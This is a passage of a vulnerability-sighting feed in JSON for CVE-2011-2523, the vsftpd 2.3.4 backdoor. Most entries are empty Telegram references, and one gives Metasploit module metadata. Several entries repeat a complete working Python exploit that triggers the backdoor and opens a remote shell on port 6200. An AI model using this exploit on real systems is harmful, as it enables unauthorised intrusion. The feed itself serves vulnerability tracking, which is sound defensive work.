"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "seen", "source": "Telegram/7856q1VSKrM2rmaP9pUA3g7DeLjSvGX41DbCgkqetCbQx1c", "content": "", "creation_timestamp": "2026-07-16T19:00:10.821395Z"}, {"uuid": "734bc922-37c0-4ff8-9292-72a0bf9eda87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "seen", "source": "Telegram/ZPcrMGKhlQdArd2QylUgV_mOM-QFrWlHYt9RxjA1seukBv0", "content": "", "creation_timestamp": "2026-07-16T19:00:07.605392Z"}, {"uuid": "1f785a78-06b5-41a0-9cfd-1e496e17dc6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "published-proof-of-concept", "source": "Telegram/7856q1VSKrM2rmaP9pUA3g7DeLjSvGX41DbCgkqetCbQx1c", "content": "", "creation_timestamp": "2026-07-17T00:00:07.217817Z"}, {"uuid": "3712542a-f1ee-400c-8b01-6f98d828213e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "published-proof-of-concept", "source": "Telegram/ZPcrMGKhlQdArd2QylUgV_mOM-QFrWlHYt9RxjA1seukBv0", "content": "", "creation_timestamp": "2026-07-17T00:00:10.274088Z"}, {"uuid": "1ea4f1a2-adf8-4013-b43c-b325ec7507f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "published-proof-of-concept", "source": "Telegram/BMLRzi6GxNLh9Y-kste7qnOEyxUjpKwyZDAyz25BJw9R9vo", "content": "", "creation_timestamp": "2026-08-27T14:00:12.368937Z"}, {"uuid": "e10f45e5-da98-4142-bedd-4d4f05e70a76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "published-proof-of-concept", "source": "Telegram/BMLRzi6GxNLh9Y-kste7qnOEyxUjpKwyZDAyz25BJw9R9vo", "content": "", "creation_timestamp": "2026-08-28T00:00:43.533335Z"}, {"uuid": "66947b69-d925-4bae-901f-515050c079fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "seen", "source": "Telegram/b4-5T1pjvOBL70mTEavvqKixUsNxKpxEjRl2RT01uRCN_34", "content": "", "creation_timestamp": "2026-07-24T05:00:05.145723Z"}, {"uuid": "a8e48dce-6dc9-4149-92fb-cb6f1eb46575", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "published-proof-of-concept", "source": "Telegram/b4-5T1pjvOBL70mTEavvqKixUsNxKpxEjRl2RT01uRCN_34", "content": "", "creation_timestamp": "2026-07-25T00:00:11.655283Z"}, {"uuid": "d15db303-ce42-4bb9-9bf9-01f47412aa5a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "seen", "source": "Telegram/icfrk9NJ0r9US8j4ZgZwjdU3nJ-xiydIySZk2Z3ro5QcgAo", "content": "", "creation_timestamp": "2026-07-29T04:00:05.081302Z"}, {"uuid": "f13d9191-4d23-425f-97c3-1932a06ad269", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "seen", "source": "https://t.me/CVEhub/12549", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#exploit\nName: *CVE-2011-2523*\nGithub: https://github.com/Lynk4/CVE-2011-2523", "creation_timestamp": "2026-07-29T12:00:32.997981Z"}, {"uuid": "0b5359ac-4138-4d8c-8492-7fc2dd7cd1d6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "seen", "source": "https://t.me/CVEhub/12549", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#exploit\nName: *CVE-2011-2523*\nGithub: https://github.com/Lynk4/CVE-2011-2523", "creation_timestamp": "2026-07-30T00:00:57.588893Z"}, {"uuid": "8f1fb96d-80ad-471d-8365-e00fddc45a7e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "seen", "source": "https://t.me/hacking_Attack/4641", "content": "Exploit Collector\nvsftpd 2.3.4 Backdoor Command Execution\n\nhttps://4.bp.blogspot.com/-rlkVZrkp7Nk/WWlvMMd1AsI/AAAAAAAAIMM/kgTZoxpDP8Ypbt5o2Ma3tAKenLk3_TLPQCLcBGAs/s1600/h18.png \nvsftpd version 2.3.4 backdoor remote command execution exploit.\n\nMD5 | accb8a13d15982d8cbc9b5a4c1df898d\n\nDownload\n# Exploit Title: vsftpd 2.3.4 - Backdoor Command Execution\n# Date: 9-04-2021\n# Exploit Author: HerculesRD\n# Software Link: http://www.linuxfromscratch.org/~thomasp/blfs-book-xsl/server/vsftpd.html\n# Version: vsftpd 2.3.4\n# Tested on: debian\n# CVE : CVE-2011-2523\n\n#!/usr/bin/python3 \n\nfrom telnetlib import Telnet \nimport argparse\nfrom signal import signal, SIGINT\nfrom sys import exit\n\ndef handler(signal_received, frame):\n# Handle any cleanup here\nprint('   [+]Exiting...')\nexit(0)\n\nsignal(SIGINT, handler) \nparser=argparse.ArgumentParser() \nparser.add_argument(\"host\", help=\"input the address of the vulnerable host\", type=str)\nargs = parser.parse_args() \nhost = args.host \nportFTP = 21 #if necessary edit this line\n\nuser=\"USER nergal:)\"\npassword=\"PASS pass\"\n\ntn=Telnet(host, portFTP)\ntn.read_until(b\"(vsFTPd 2.3.4)\") #if necessary, edit this line\ntn.write(user.encode('ascii') + b\"\\n\")\ntn.read_until(b\"password.\") #if necessary, edit this line\ntn.write(password.encode('ascii') + b\"\\n\")\n\ntn2=Telnet(host, 6200)\nprint('Success, shell opened')\nprint('Send `exit` to quit shell')\ntn2.interact()\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:02:47.404015Z"}, {"uuid": "deb46998-98a0-4507-9e15-a07f900a2554", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "seen", "source": "https://t.me/hacking_Attack/4641", "content": "Exploit Collector\nvsftpd 2.3.4 Backdoor Command Execution\n\nhttps://4.bp.blogspot.com/-rlkVZrkp7Nk/WWlvMMd1AsI/AAAAAAAAIMM/kgTZoxpDP8Ypbt5o2Ma3tAKenLk3_TLPQCLcBGAs/s1600/h18.png \nvsftpd version 2.3.4 backdoor remote command execution exploit.\n\nMD5 | accb8a13d15982d8cbc9b5a4c1df898d\n\nDownload\n# Exploit Title: vsftpd 2.3.4 - Backdoor Command Execution\n# Date: 9-04-2021\n# Exploit Author: HerculesRD\n# Software Link: http://www.linuxfromscratch.org/~thomasp/blfs-book-xsl/server/vsftpd.html\n# Version: vsftpd 2.3.4\n# Tested on: debian\n# CVE : CVE-2011-2523\n\n#!/usr/bin/python3 \n\nfrom telnetlib import Telnet \nimport argparse\nfrom signal import signal, SIGINT\nfrom sys import exit\n\ndef handler(signal_received, frame):\n# Handle any cleanup here\nprint('   [+]Exiting...')\nexit(0)\n\nsignal(SIGINT, handler) \nparser=argparse.ArgumentParser() \nparser.add_argument(\"host\", help=\"input the address of the vulnerable host\", type=str)\nargs = parser.parse_args() \nhost = args.host \nportFTP = 21 #if necessary edit this line\n\nuser=\"USER nergal:)\"\npassword=\"PASS pass\"\n\ntn=Telnet(host, portFTP)\ntn.read_until(b\"(vsFTPd 2.3.4)\") #if necessary, edit this line\ntn.write(user.encode('ascii') + b\"\\n\")\ntn.read_until(b\"password.\") #if necessary, edit this line\ntn.write(password.encode('ascii') + b\"\\n\")\n\ntn2=Telnet(host, 6200)\nprint('Success, shell opened')\nprint('Send `exit` to quit shell')\ntn2.interact()\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-02T01:03:23.647675Z"}, {"uuid": "9e56ca67-d4f7-4008-8e46-878f424137e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "seen", "source": "https://t.me/GithubRedTeam/100784", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #Exploit #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a LAB1-metasploitable\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a aboubacar70\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-02 11:59:31\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nExploitation des vuln\u00e9rabilit\u00e9s sur la version vsftpd 2.3.4 du service ftp (CVE-2011-2523)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-02T15:00:05.843488Z"}, {"uuid": "6083c333-bf18-4e84-af0c-dc2e60d953a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/100784", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #Exploit #CVE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a LAB1-metasploitable\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a aboubacar70\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Unknown\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-09-02 11:59:31\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nExploitation des vuln\u00e9rabilit\u00e9s sur la version vsftpd 2.3.4 du service ftp (CVE-2011-2523)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-09-03T00:00:43.608227Z"}, {"uuid": "24d36b95-91ac-408b-a33f-9808afc744cb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "seen", "source": "Telegram/PrO6w3QLOr3jUo9xBtS3NN22LRqKedjWuLvWfaGQXc76APg", "content": "", "creation_timestamp": "2026-09-03T03:00:05.782927Z"}, {"uuid": "ec383b65-0536-4af7-8515-4c99536bd786", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "published-proof-of-concept", "source": "Telegram/QsxfNGKa9DD1Ty0sLmAQtevj7Ve_ZEaNBPjsU4IDgEWKiqQ", "content": "", "creation_timestamp": "2026-09-03T08:00:03.924794Z"}, {"uuid": "494575b3-88a2-421b-b5a2-bfaef8bafbde", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "published-proof-of-concept", "source": "Telegram/QsxfNGKa9DD1Ty0sLmAQtevj7Ve_ZEaNBPjsU4IDgEWKiqQ", "content": "", "creation_timestamp": "2026-09-04T00:00:55.499199Z"}, {"uuid": "d9d87fb8-6073-4332-9121-c4f8257d6bae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "published-proof-of-concept", "source": "Telegram/PrO6w3QLOr3jUo9xBtS3NN22LRqKedjWuLvWfaGQXc76APg", "content": "", "creation_timestamp": "2026-09-04T00:01:01.424685Z"}, {"uuid": "652992ab-ad8b-49d8-9f13-df309c427012", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb", "content": "{\"aliases\": [], \"arch\": \"cmd\", \"author\": [\"hdm \", \"MC \", \"g0tmi1k\"], \"autofilter_ports\": [], \"autofilter_services\": [], \"check\": true, \"default_credential\": false, \"description\": \"This module exploits a malicious backdoor that was added to the VSFTPD download\\n          archive. This backdoor was introduced into the vsftpd-2.3.4.tar.gz archive between\\n          June 30th 2011 and July 1st 2011 according to the most recent information\\n          available. This backdoor was removed on July 3rd 2011.\", \"disclosure_date\": \"2011-07-03\", \"fullname\": \"exploit/unix/ftp/vsftpd_234_backdoor\", \"is_install_path\": true, \"mod_time\": \"2026-04-22 11:59:31 +0000\", \"name\": \"VSFTPD 2.3.4 Backdoor Command Execution\", \"needs_cleanup\": null, \"notes\": {\"Reliability\": [\"unknown-reliability\"], \"SideEffects\": [\"unknown-side-effects\"], \"Stability\": [\"unknown-stability\"]}, \"path\": \"/modules/exploits/unix/ftp/vsftpd_234_backdoor.rb\", \"platform\": \"Linux,Unix\", \"post_auth\": false, \"rank\": 600, \"ref_name\": \"unix/ftp/vsftpd_234_backdoor\", \"references\": [\"CVE-2011-2523\", \"OSVDB-73573\", \"URL-http://pastebin.com/AetT9sS5\", \"URL-http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html\"], \"rport\": 21, \"session_types\": false, \"targets\": [\"Linux/Unix Command\"], \"type\": \"exploit\"}", "creation_timestamp": "2026-09-08T06:50:35.049503Z"}, {"uuid": "a9cfbd8e-7d96-4afa-8445-6537764288b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/4641", "content": "Exploit Collector\nvsftpd 2.3.4 Backdoor Command Execution\n\nhttps://4.bp.blogspot.com/-rlkVZrkp7Nk/WWlvMMd1AsI/AAAAAAAAIMM/kgTZoxpDP8Ypbt5o2Ma3tAKenLk3_TLPQCLcBGAs/s1600/h18.png \nvsftpd version 2.3.4 backdoor remote command execution exploit.\n\nMD5 | accb8a13d15982d8cbc9b5a4c1df898d\n\nDownload\n# Exploit Title: vsftpd 2.3.4 - Backdoor Command Execution\n# Date: 9-04-2021\n# Exploit Author: HerculesRD\n# Software Link: http://www.linuxfromscratch.org/~thomasp/blfs-book-xsl/server/vsftpd.html\n# Version: vsftpd 2.3.4\n# Tested on: debian\n# CVE : CVE-2011-2523\n\n#!/usr/bin/python3 \n\nfrom telnetlib import Telnet \nimport argparse\nfrom signal import signal, SIGINT\nfrom sys import exit\n\ndef handler(signal_received, frame):\n# Handle any cleanup here\nprint('   [+]Exiting...')\nexit(0)\n\nsignal(SIGINT, handler) \nparser=argparse.ArgumentParser() \nparser.add_argument(\"host\", help=\"input the address of the vulnerable host\", type=str)\nargs = parser.parse_args() \nhost = args.host \nportFTP = 21 #if necessary edit this line\n\nuser=\"USER nergal:)\"\npassword=\"PASS pass\"\n\ntn=Telnet(host, portFTP)\ntn.read_until(b\"(vsFTPd 2.3.4)\") #if necessary, edit this line\ntn.write(user.encode('ascii') + b\"\\n\")\ntn.read_until(b\"password.\") #if necessary, edit this line\ntn.write(password.encode('ascii') + b\"\\n\")\n\ntn2=Telnet(host, 6200)\nprint('Success, shell opened')\nprint('Send `exit` to quit shell')\ntn2.interact()\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-08T11:00:05.264293Z"}, {"uuid": "6442e5ea-f8a2-43b1-aca6-5a97fca8ec3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2011-2523", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/4641", "content": "Exploit Collector\nvsftpd 2.3.4 Backdoor Command Execution\n\nhttps://4.bp.blogspot.com/-rlkVZrkp7Nk/WWlvMMd1AsI/AAAAAAAAIMM/kgTZoxpDP8Ypbt5o2Ma3tAKenLk3_TLPQCLcBGAs/s1600/h18.png \nvsftpd version 2.3.4 backdoor remote command execution exploit.\n\nMD5 | accb8a13d15982d8cbc9b5a4c1df898d\n\nDownload\n# Exploit Title: vsftpd 2.3.4 - Backdoor Command Execution\n# Date: 9-04-2021\n# Exploit Author: HerculesRD\n# Software Link: http://www.linuxfromscratch.org/~thomasp/blfs-book-xsl/server/vsftpd.html\n# Version: vsftpd 2.3.4\n# Tested on: debian\n# CVE : CVE-2011-2523\n\n#!/usr/bin/python3 \n\nfrom telnetlib import Telnet \nimport argparse\nfrom signal import signal, SIGINT\nfrom sys import exit\n\ndef handler(signal_received, frame):\n# Handle any cleanup here\nprint('   [+]Exiting...')\nexit(0)\n\nsignal(SIGINT, handler) \nparser=argparse.ArgumentParser() \nparser.add_argument(\"host\", help=\"input the address of the vulnerable host\", type=str)\nargs = parser.parse_args() \nhost = args.host \nportFTP = 21 #if necessary edit this line\n\nuser=\"USER nergal:)\"\npassword=\"PASS pass\"\n\ntn=Telnet(host, portFTP)\ntn.read_until(b\"(vsFTPd 2.3.4)\") #if necessary, edit this line\ntn.write(user.encode('ascii') + b\"\\n\")\ntn.read_until(b\"password.\") #if necessary, edit this line\ntn.write(password.encode('ascii') + b\"\\n\")\n\ntn2=Telnet(host, 6200)\nprint('Success, shell opened')\nprint('Send `exit` to quit shell')\ntn2.interact()\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-09T00:00:32.032516Z"}]}